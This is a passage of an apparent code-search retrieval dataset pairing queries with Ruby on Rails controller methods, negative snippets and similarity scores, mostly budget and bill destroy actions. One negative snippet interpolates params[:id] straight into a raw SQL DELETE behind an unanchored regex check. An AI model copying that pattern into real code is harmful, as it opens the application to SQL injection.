Sunspot.index!(@bill)\n rescue\n puts \"#{$!}\"\n puts \"unindexed bill: \" + @bill.uid\n end\n respond_with @bill, :represent_with => Billit::BillRepresenter\n end" ]
[ "0.802662", "0.73978305", "0.73978305", "0.73627716", "0.72459084", "0.7210995", "0.7210995", "0.68629795", "0.6746625", "0.66160095", "0.65061015", "0.64733225", "0.6431927", "0.64094025", "0.6406315", "0.63802946", "0.63388276", "0.63388276", "0.63388276", "0.63388276", "0.6320848", "0.63136077", "0.6264339", "0.6264339", "0.6203627", "0.6164405", "0.6150834", "0.6138894", "0.6126411", "0.6104983", "0.6104952", "0.6093993", "0.6071275", "0.60659134", "0.60360163", "0.60031235", "0.5969812", "0.59678566", "0.5945173", "0.5931332", "0.59200567", "0.59093386", "0.5901231", "0.5889173", "0.58764094", "0.58722484", "0.5854017", "0.5818741", "0.5806155", "0.58041334", "0.5802264", "0.57996243", "0.57993263", "0.57854205", "0.5784743", "0.5784266", "0.5769708", "0.5767892", "0.5760968", "0.57342243", "0.57160306", "0.57134306", "0.5711079", "0.5708745", "0.5701899", "0.5697426", "0.56966555", "0.56936073", "0.56919825", "0.56905603", "0.5682908", "0.56761384", "0.5674595", "0.56687886", "0.5665735", "0.5665504", "0.566543", "0.5664542", "0.56632376", "0.56603587", "0.5659519", "0.56440055", "0.5643382", "0.5637093", "0.5632657", "0.5631684", "0.562983", "0.5621544", "0.56174475", "0.5616673", "0.5611894", "0.5610423", "0.56050956", "0.56050843", "0.56034714", "0.5602952", "0.5602837", "0.560152", "0.55931675", "0.55914956" ]
0.6652714
9
DELETE /budgets/1 DELETE /budgets/1.json
def destroy @budget.destroy respond_to do |format| format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if params[:id] =~ /\\d+/\n @budget = Budget.find(params[:id])\n ActiveRecord::Base.connection.execute(\"delete from budget_products where budget_id = #{params[:id]}\")\n @budget.destroy\n end\n \n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url, notice: \"Budget was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(params[:budget_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_request.destroy\n respond_to do |format|\n format.html { redirect_to budget_requests_url, notice: 'Budget request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @therapy_budget.destroy\n respond_to do |format|\n format.html { redirect_to therapy_budgets_url, notice: 'Therapy budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_item = BudgetItem.find(params[:id])\n @budget_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @budgetcategory = Budgetcategory.find(params[:id])\n @budgetcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to budgetcategories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_src = BudgetSrc.find(params[:id])\n @budget_src.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_srcs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @budget_for_order.destroy\n respond_to do |format|\n format.html { redirect_to budget_for_orders_url, notice: 'Budget for order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ptbudget = Ptbudget.find(params[:id])\n @ptbudget.destroy\n\n respond_to do |format|\n format.html { redirect_to(ptbudgets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ptbudget = Ptbudget.find(params[:id])\n @ptbudget.destroy\n\n respond_to do |format|\n format.html { redirect_to(ptbudgets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_approver.destroy\n respond_to do |format|\n format.html { redirect_to budget_approvers_url, notice: 'Budget approver page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @export_budget.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Export budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @export_budget.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Export budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budgeting_type = BudgetingType.find(params[:id])\n @budgeting_type.destroy\n\n respond_to do |format|\n format.html { redirect_to budgeting_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n f_respond_destroy(@budgetitem.destroy, @budgetitem.name, budgetitems_url)\n# @budgetitem.destroy\n# respond_to do |format|\n# format.html { redirect_to budgetitems_url, notice: 'Budgetitem was successfully destroyed.' }\n# format.json { head :no_content }\n# end\n end", "def destroy\n @item = item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @budget_heading = BudgetHeading.find(params[:id])\n respond_to do |format|\n if @budget_heading.destroy\n format.html { redirect_to budget_headings_url,\n notice: (crud_notice('destroyed', @budget_heading) + \"#{undo_link(@budget_heading)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to budget_headings_url, alert: \"#{@budget_heading.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @budget_heading.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to bounties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @req_breakdown = ReqBreakdown.find(params[:id])\n @req_breakdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_req_breakdowns_url) }\n format.xml { head :ok }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\r\n @bill = Bill.find(params[:id])\r\n @bill.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to bills_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @bill = Bill.find(params[:id])\n # TODO: \"un-updateEnergyGoals\" related to this bill\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @bussiness.destroy\n respond_to do |format|\n format.html { redirect_to bussinesses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bank = Bank.find(params[:id])\n @bank.destroy\n\n respond_to do |format|\n format.html { redirect_to banks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_path }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n #binding.pry\n @balance = Balance.find(params[:id])\n @balance.destroy\n respond_to do |format|\n format.html { redirect_to balances_url }\n format.json { head :no_content }\n end\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @service_dependance = ServiceDependance.find(params[:id])\n @service_dependance.destroy\n\n respond_to do |format|\n format.html { redirect_to service_dependances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n set_proposed_item\n calculate_saving\n \n\n @proposed_item.destroy\n respond_to do |format|\n format.html { redirect_to @budget, notice: 'Proposed item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bank = Bank.find(params[:id])\n @bank.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bank = Bank.find(params[:id])\n @bank.destroy\n\n respond_to do |format|\n format.html { redirect_to banks_url, notice: t('view.banks.correctly_deleted') }\n format.json { head :ok }\n end\n end", "def destroy\n @budget_disposition.destroy\n respond_to do |format|\n format.html { redirect_to budget_dispositions_url, notice: 'Budget disposition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_product.destroy\n respond_to do |format|\n format.html { redirect_to budget_products_url, notice: 'Budget product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @baggage = Baggage.find(params[:id])\n @baggage.destroy\n\n respond_to do |format|\n format.html { redirect_to baggages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @blast = Blast.find(params[:id])\n @blast.destroy\n\n respond_to do |format|\n format.html { redirect_to blasts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @debt = Debt.find(params[:id])\n @debt.destroy\n\n respond_to do |format|\n format.html { redirect_to debts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @cabinet_balancer.destroy\n respond_to do |format|\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end", "def delete_budget_using_delete_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.delete_budget_using_delete ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetApi.delete_budget_using_delete\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#delete_budget_using_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @barrels_income.destroy\n respond_to do |format|\n format.html { redirect_to barrels_incomes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @buisiness = Buisiness.find(params[:id])\n @buisiness.destroy\n respond_to do |format|\n format.html { redirect_to buisinesses_url, notice: 'Buisiness was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @b = B.find(params[:id])\n @b.destroy\n\n respond_to do |format|\n format.html { redirect_to bs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bb = Bb.find(params[:id])\n @bb.destroy\n\n respond_to do |format|\n format.html { redirect_to bbs_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @kb = Kb.find(params[:id])\n @kb.destroy\n\n respond_to do |format|\n format.html { redirect_to kbs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bank.destroy\n respond_to do |format|\n format.html { redirect_to banks_url, notice: '' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @climb = Climb.find(params[:id])\n @climb.destroy\n\n respond_to do |format|\n format.html { redirect_to climbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @billable.destroy\n respond_to do |format|\n format.html { redirect_to billables_url, notice: 'Billable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/admin/transaction\" }\n format.json { head :no_content }\n end\n end", "def destroy\n\t@responsible.bills.each do |bill|\n\t\tbill.destroy\n\tend\n @responsible.destroy\n respond_to do |format|\n format.html { redirect_to responsibles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @climb_datum = ClimbDatum.find(params[:id])\n @climb_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to climb_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unpaid_debt = UnpaidDebt.find(params[:id])\n @unpaid_debt.destroy\n\n respond_to do |format|\n format.html { redirect_to unpaid_debts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bounty = Bounty.find(params[:id])\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to controller: 'home', action: 'bounty_market' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sugar_bag = SugarBag.find(params[:id])\n @sugar_bag.destroy\n\n respond_to do |format|\n format.html { redirect_to sugar_bags_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bet = Bet.find(params[:id])\n @bet.destroy\n\n respond_to do |format|\n format.html { redirect_to bets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bet = Bet.find(params[:id])\n @bet.destroy\n\n respond_to do |format|\n format.html { redirect_to bets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @wait = Wait.find(params[:id])\n @wait.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @bidding = Bidding.find(params[:id])\n @bidding.destroy\n\n respond_to do |format|\n format.html { redirect_to biddings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @budget_file.destroy\n respond_to do |format|\n format.html { redirect_to budget_files_path, notice: 'BudgetFile was successfully destroyed.' }\n format.js\n format.json { head :no_content }\n end\n end", "def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_expense.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @blast_request.destroy\n respond_to do |format|\n format.html { redirect_to mc_blast_blast_requests_path, notice: 'Blast request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @monthly_revenue_breakdown_item = MonthlyRevenueBreakdownItem.find(params[:id])\n @monthly_revenue_breakdown_item.destroy\n\n respond_to do |format|\n format.html { redirect_to monthly_revenue_breakdown_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @debt.destroy\n respond_to do |format|\n format.html { redirect_to debts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @debt.destroy\n respond_to do |format|\n format.html { redirect_to debts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @funding_requirement.destroy\n respond_to do |format|\n format.html { redirect_to funding_requirements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # @bill_quorum = BillQuorum.find(params[:id])\n @bill_quorum.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_quorums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.destroy\n\n respond_to do |format|\n format.html { redirect_to bruschetta_url }\n format.json { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @brag = Brag.find(params[:id])\n @brag.destroy\n\n respond_to do |format|\n format.html { redirect_to brags_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.80596507", "0.8052162", "0.7745417", "0.76833415", "0.7648094", "0.748794", "0.73072225", "0.72522795", "0.72057337", "0.72005427", "0.70806473", "0.6962823", "0.69600993", "0.69600993", "0.6938634", "0.69297326", "0.69276094", "0.6921499", "0.6921499", "0.68874925", "0.68547475", "0.6740247", "0.6723519", "0.67226714", "0.6673186", "0.66578", "0.66573566", "0.66189873", "0.6611407", "0.65622264", "0.65355283", "0.6533965", "0.6527909", "0.6523378", "0.6517916", "0.6517916", "0.6517916", "0.6516924", "0.65166825", "0.6514787", "0.6514787", "0.6514787", "0.6514787", "0.6493565", "0.64848906", "0.6483424", "0.64778304", "0.64778304", "0.6477103", "0.6471445", "0.6467733", "0.64661694", "0.6457598", "0.64540654", "0.6450065", "0.64490014", "0.6448928", "0.64479166", "0.6431278", "0.64249146", "0.64247644", "0.6424332", "0.6424196", "0.6419562", "0.6419388", "0.6417153", "0.64145577", "0.6409913", "0.6409697", "0.64058346", "0.64058346", "0.63995814", "0.63995755", "0.63980985", "0.6389959", "0.6380946", "0.63708127", "0.6366615", "0.63529056", "0.63516116", "0.63514787", "0.6348895", "0.63486904", "0.63486904", "0.6348611", "0.6348503", "0.6348168", "0.6347168", "0.6339331", "0.63379", "0.6336636", "0.6330782", "0.6330782", "0.63249654", "0.63215613", "0.63196766", "0.63190484", "0.6318457" ]
0.7660224
6
Use callbacks to share common setup or constraints between actions.
def set_budget @budget = Budget.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
